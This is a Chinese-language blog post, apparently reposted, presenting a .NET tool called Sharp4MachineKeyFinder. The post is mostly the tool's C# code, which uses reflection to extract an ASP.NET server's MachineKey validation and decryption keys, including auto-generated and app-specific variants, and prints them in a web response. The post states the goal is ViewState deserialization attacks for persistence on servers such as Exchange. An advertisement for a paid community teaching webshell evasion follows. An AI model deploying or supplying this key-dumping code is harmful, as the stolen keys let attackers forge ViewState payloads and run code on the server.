.NET 一款兼容Exchange獲取密鑰的工具

01閱讀須知

此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他方面

02前言介紹

Sharp4MachineKeyFinder是一款獲取Web服務器存儲MachineKey的工具,主要原理是通過反射獲取應用程序的ValidationKey和DecryptionKey,便于滲透測試時利用ViewStates反序列化漏洞進行權限維持。

圖片

03代碼實現

首先,Sharp4MachineKey代碼加載了System.Web程序集并獲取了MachineKeySection類型,具體代碼如下所示。

var?systemWebAsm?=?System.Reflection.Assembly.Load("System.Web,?Version=4.0.0.0,?Culture=neutral,?PublicKeyToken=b03f5f7f11d50a3a");
var?machineKeySectionType?=?systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");

然后,通過反射調用GetApplicationConfig方法獲取應用程序的MachineKeySection配置,具體代碼如下所示。

var?getApplicationConfigMethod?=?machineKeySectionType.GetMethod("GetApplicationConfig",?System.Reflection.BindingFlags.Static?|?System.Reflection.BindingFlags.NonPublic);
var?config?=?(System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null,?new?object[0]);

接下來,代碼將ValidationKey和DecryptionKey輸出到響應中,通過反射獲取MachineKeyMasterKeyProvider實例,并調用相關方法獲取驗證密鑰和加密密鑰的詳細信息。

Response.Write("<b>ValidationKey:</b>?"?+?config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b>?"?+?config.DecryptionKey);
Response.Write("<br/><hr/>");
var?typeMachineKeyMasterKeyProvider?=?systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var?instance?=?typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName,?false,System.Reflection.BindingFlags.Instance?|?System.Reflection.BindingFlags.NonPublic,null,?new?object[]?{?config,?null,?null,?null,?null?},?null,?null);
var?validationKey?=?typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance,?new?object[0]);
byte[]?_validationKey?=?(byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey,?new?object[0]);
var?encryptionKey?=?typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance,?new?object[0]);
byte[]?_decryptionKey?=?(byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey,?new?object[0]);

這些密鑰被轉換為字符串后,輸出到響應中,對于ASP.NET 4.0及以下版本,代碼還提取并展示了自動生成的密鑰信息

Response.Write("<b>validationAlg:</b>?"?+?config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b>?"?+?BitConverter.ToString(_validationKey).Replace("-",?string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b>?"?+?config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b>?"?+?BitConverter.ToString(_decryptionKey).Replace("-",?string.Empty));
Response.Write("<br/><hr/>");
byte[]?autogenKeys?=?(byte[])typeof(HttpRuntime).GetField("s_autogenKeys",?System.Reflection.BindingFlags.NonPublic?|?System.Reflection.BindingFlags.Static).GetValue(null);
int?validationKeySize?=?64;
int?decryptionKeySize?=?24;
byte[]?validationKeyAuto?=?new?byte[validationKeySize];
byte[]?decryptionKeyAuto?=?new?byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys,?0,?validationKeyAuto,?0,?validationKeySize);
System.Buffer.BlockCopy(autogenKeys,?validationKeySize,?decryptionKeyAuto,?0,?decryptionKeySize);

代碼根據應用程序名稱和應用程序ID生成的特定密鑰信息并輸出,如下代碼所示。

string?appName?=?HttpRuntime.AppDomainAppVirtualPath;
string?appId?=?HttpRuntime.AppDomainAppId;
Response.Write("<b>appName:</b>?"?+?appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b>?"?+?appId);
Response.Write("<br/>");
byte[]?_validationKeyAutoAppSpecific?=?validationKeyAuto.ToArray();
int?dwCode3?=?StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0]?=?(byte)(dwCode3?&?0xff);
_validationKeyAutoAppSpecific[1]?=?(byte)((dwCode3?&?0xff00)?>>?8);
_validationKeyAutoAppSpecific[2]?=?(byte)((dwCode3?&?0xff0000)?>>?16);
_validationKeyAutoAppSpecific[3]?=?(byte)((dwCode3?&?0xff000000)?>>?24);
Response.Write("<b>App?specific?ValidationKey?(when?uses?IsolateApps):</b>?");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-",?string.Empty));
Response.Write("<br/>");
byte[]?_validationKeyAutoAppIdSpecific?=?validationKeyAuto.ToArray();
int?dwCode4?=?StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4]?=?(byte)(dwCode4?&?0xff);
_validationKeyAutoAppIdSpecific[5]?=?(byte)((dwCode4?&?0xff00)?>>?8);
_validationKeyAutoAppIdSpecific[6]?=?(byte)((dwCode4?&?0xff0000)?>>?16);
_validationKeyAutoAppIdSpecific[7]?=?(byte)((dwCode4?&?0xff000000)?>>?24);
Response.Write("<b>AppId?Auto?specific?ValidationKey?(when?uses?IsolateByAppId):</b>?");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-",?string.Empty));
Response.Write("<br/>");

Sharp4MachineKeyFinder通過反射獲取ASP.NET應用程序密鑰的方法。這段代碼刪除了部分冗余代碼,避免了某些場景報錯的情況。并且展示如何在不同版本的ASP.NET中提取并顯示ValidationKey和DecryptionKey。運行后效果如下所示

圖片

04推薦閱讀

從漏洞分析到安全攻防,我們涵蓋了.NET安全各個關鍵方面,為您呈現最新、最全面的.NET安全知識,下面是公眾號發布的精華文章集合,推薦大家閱讀!

圖片

圖片

圖片

圖片

圖片

圖片

05歡迎加入.NET安全知識庫

為了更好地應對基于.NET技術棧的風險識別和未知威脅,dotNet安全矩陣星球從創建以來一直聚焦于.NET領域的安全攻防技術,定位于高質量安全攻防星球社區,也得到了許多師傅們的支持和信任,通過星球深度連接入圈的師傅們,一起推動.NET安全高質量的向前發展。目前只需199元便可以加入我們,后期星球門票價格隨著內容和質量的不斷沉淀會適當提高,因此越早加入越好!

? ??目前dot.Net安全矩陣星球已成為中國.NET安全領域最知名、最活躍的技術知識庫之一,從.NET Framework到.NET Core,從Web應用到PC端軟件應用,無論您是初學者還是經驗豐富的開發人員,都能在這里找到對應的安全指南和最佳實踐。

星球匯聚了各行業安全攻防技術大咖,并且每日分享.NET安全技術干貨以及交流解答各類技術等問題,社區中發布很多高質量的.NET安全資源,可以說市面上很少見,都是干貨。

圖片

圖片

圖片

星球文化始終認為授人以魚不如授人以漁!加入星球后可以跟星主和嘉賓們一對一提問交流,20+個專題欄目涵蓋了點、線、面、體等知識面,助力師傅們快速成長!其中主題包括.NET Tricks、漏洞分析、內存馬、代碼審計、預編譯、反序列化、webshell免殺、命令執行、C#工具庫等等。

圖片

????我們傾力打造專刊、視頻等配套學習資源,循序漸進的方式引導加深安全攻防技術提高以及崗位內推等等服務。

圖片

????我們還有一個會員專屬的星球陪伴群,加入的成員可以通過在群里提出問題或參與論的方式來與其他成員交流思想和經驗。此外還可以通過星球或者微信群私聊向我們進行提問,以獲取幫助迅速解決問題。

圖片

圖片

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/14968.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/14968.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/14968.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SCSS基本使用:構建高效、可維護的CSS架構

SCSS基本使用&#xff1a;構建高效、可維護的CSS架構 SCSS&#xff08;Sassy CSS&#xff09;是一個流行的CSS預處理器&#xff0c;它擴展了CSS的功能&#xff0c;提供了變量、嵌套規則、混合&#xff08;Mixins&#xff09;、函數等強大的編程特性&#xff0c;使得開發者能夠編…

甘肅教育雜志社-甘肅教育編輯部

《甘肅教育》來稿要求:    1、本刊對所有稿件有刪改權&#xff0c;如不同意刪改&#xff0c;請投稿時注明&#xff0c;切勿一稿多投&#xff0c;來稿一律文責自負。    2、稿件以word文檔格式&#xff0c;小四號宋體字&#xff0c;1.5倍行距。觀點鮮明&#xff0c;數據…

電商平臺的消費增值模式革新

在當今的電商市場&#xff0c;用戶留存和粘性是各大平臺競相追求的目標。而消費增值模式&#xff0c;以其獨特的激勵機制&#xff0c;正逐漸成為電商平臺吸引和留住用戶的新策略。 一、消費即投資&#xff1a;創新的返利機制 在傳統的電商消費中&#xff0c;消費者完成交易后&…

小阿軒yx-FTP文件傳輸服務

小阿軒yx-FTP文件傳輸服務 協議 用來上傳和下載實現遠程共享文件統一管理文件 原理 控制文件的雙向傳輸&#xff0c;是一個應用程序工作在TCP/IP協議簇的提高文件傳輸的共享性和可靠性使用C/S模式的工作方式連接同時處理服務器和客戶端的連接命令和數據傳輸將命令和數據分…

【NumPy】NumPy實戰入門:線性代數(dot、linalg)與隨機數(numpy.random)詳解

&#x1f9d1; 博主簡介&#xff1a;阿里巴巴嵌入式技術專家&#xff0c;深耕嵌入式人工智能領域&#xff0c;具備多年的嵌入式硬件產品研發管理經驗。 &#x1f4d2; 博客介紹&#xff1a;分享嵌入式開發領域的相關知識、經驗、思考和感悟&#xff0c;歡迎關注。提供嵌入式方向…

Modular RPG Hero PBR

-掩碼著色著色器提供了無限的顏色變化。(適用于標準/HDRP/URP 11.0.0) -為劍與盾/雙劍/雙劍姿態提供了簡單的角色控制器。(不包括弓和魔杖控制器)(它是用舊的輸入系統建造的) -HDRP/URP(11.0.0)SRP 100%支持常規著色器和遮罩著色著色器(基于著色器圖形) -具有許多模塊…

rtk技術的使用, test ok

1. 什么是gnss 2 rtk定位

邏輯回歸模型的背景與應用

1.1邏輯回歸模型的背景與應用 邏輯回歸模型&#xff0c;作為一種經典的機器學習方法&#xff0c;起源于統計學領域。在眾多實際應用場景中&#xff0c;邏輯回歸模型都發揮著重要作用&#xff0c;尤其在分類問題中。當我們需要對具有離散特征的數據進行建模和預測時&#xff0c…

五分鐘部署開源運維平臺Spug結合內網穿透實現遠程登錄管理

文章目錄 前言1. Docker安裝Spug2 . 本地訪問測試3. Linux 安裝cpolar4. 配置Spug公網訪問地址5. 公網遠程訪問Spug管理界面6. 固定Spug公網地址 前言 Spug 面向中小型企業設計的輕量級無 Agent 的自動化運維平臺&#xff0c;整合了主機管理、主機批量執行、主機在線終端、文件…

移除元素-力扣

第一種解法&#xff0c;暴力解法&#xff0c;使用兩個for循環一個進行遍歷&#xff0c;一個進行覆蓋&#xff0c;代碼如下&#xff1a; class Solution { public:int removeElement(vector<int>& nums, int val) {int size nums.size();for(int i 0; i < size; …

C語言中的 ?: :三元運算符詳解

C語言中的 ?: &#xff1a;三元運算符詳解 在C語言的浩瀚代碼海洋中&#xff0c;三元運算符&#xff08;?:&#xff09;如同一位優雅的舞者&#xff0c;以簡潔的姿態完成條件判斷與賦值的雙重任務。它以問號&#xff08;?&#xff09;和冒號&#xff08;:&#xff09;這兩個…

Linux完整版命令大全(九)

4. linux壓縮備份命令 ar 功能說明&#xff1a;建立或修改備存文件&#xff0c;或是從備存文件中抽取文件。語  法&#xff1a;ar[-dmpqrtx][cfosSuvV][a<成員文件>][b<成員文件>][i<成員文件>][備存文件][成員文件]補充說明&#xff1a;ar可讓您集合許多…

Spring boot 注入成員變量HttpServletRequest的原理

前言 最近做項目&#xff0c;springboot項目&#xff0c;本來我們在controller的requestmapping取參數值或者返回寫時&#xff0c;使用方法參數&#xff0c;但是發現老項目直接注入了成員變量&#xff0c;Spring本身是單例的&#xff0c;如果是成員變量注入&#xff0c;那么也…

【C語言】指針(三)

目錄 一、字符指針 1.1 ? 使用場景 1.2 ? 有關字符串筆試題 二、數組指針 2.1 ? 數組指針變量 2.2 ? 數組指針類型 2.3 ? 數組指針的初始化 三、數組指針的使用 3.1 ? 二維數組和數組名的理解 3.2 ? 二維數組傳參 四、函數指針 4.1 ? 函數的地址 4.2 ? 函數…

JAVA面試題大全(十一)

1、為什么要使用 hibernate&#xff1f; 對JDBC訪問數據庫的代碼做了封裝&#xff0c;大大簡化了數據訪問層繁瑣的重復性代碼基于jdbc的主流持久化框架&#xff0c;是一個優秀的ORM實現&#xff0c;很大程度的簡化了dao層的編碼工作使用java的反射機制性能好&#xff0c;是一個…

【STL】C++ list 基本使用

目錄 一 list 常見構造 1 空容器構造函數&#xff08;默認構造函數&#xff09; 2 Fill 構造函數 3 Range 構造函數 4 拷貝構造函數 二 list迭代器 1 begin && end 2 rbegin && rend 三 list 容量操作 四 list 修改操作 1 assign 2 push_front &a…

【深度學習中的數據預處理技巧:提升模型性能的關鍵步驟】

文章目錄 前言數據標準化&#xff08;Normalization&#xff09;數據增強&#xff08;Data Augmentation&#xff09;缺失值處理&#xff08;Handling Missing Values&#xff09;特征編碼&#xff08;Feature Encoding&#xff09;結論 前言 在深度學習領域&#xff0c;數據預…

牛客NC362 字典序排列【中等 DFS Java/Go/PHP】

題目 題目鏈接&#xff1a; https://www.nowcoder.com/practice/de49cf70277048518314fbdcaba9b42c 解題方法 DFS&#xff0c;剪枝Java代碼 import java.util.*;public class Solution {/*** 代碼中的類名、方法名、參數名已經指定&#xff0c;請勿修改&#xff0c;直接返回…

【小筆記】如何在docker中更新或導入neo4j數據?

如何在docker中更新或導入neo4j數據&#xff1f; &#xff08;1&#xff09;背景&#xff1a; 我嘗試了4.4.9和5.19.0版本的Neo4j社區版&#xff0c;基于他們的鏡像創建容器后&#xff0c;需要導入我準備好的csv文件或dump文件&#xff0c;因為數據量非常大&#xff0c;所以采…

2024電工杯數學建模B題Python代碼+結果表數據教學

2024電工杯B題保姆級分析完整思路代碼數據教學 B題題目&#xff1a;大學生平衡膳食食譜的優化設計及評價 以下僅展示部分&#xff0c;完整版看文末的文章 import pandas as pd df1 pd.read_excel(附件1&#xff1a;1名男大學生的一日食譜.xlsx) df1# 獲取所有工作表名稱 e…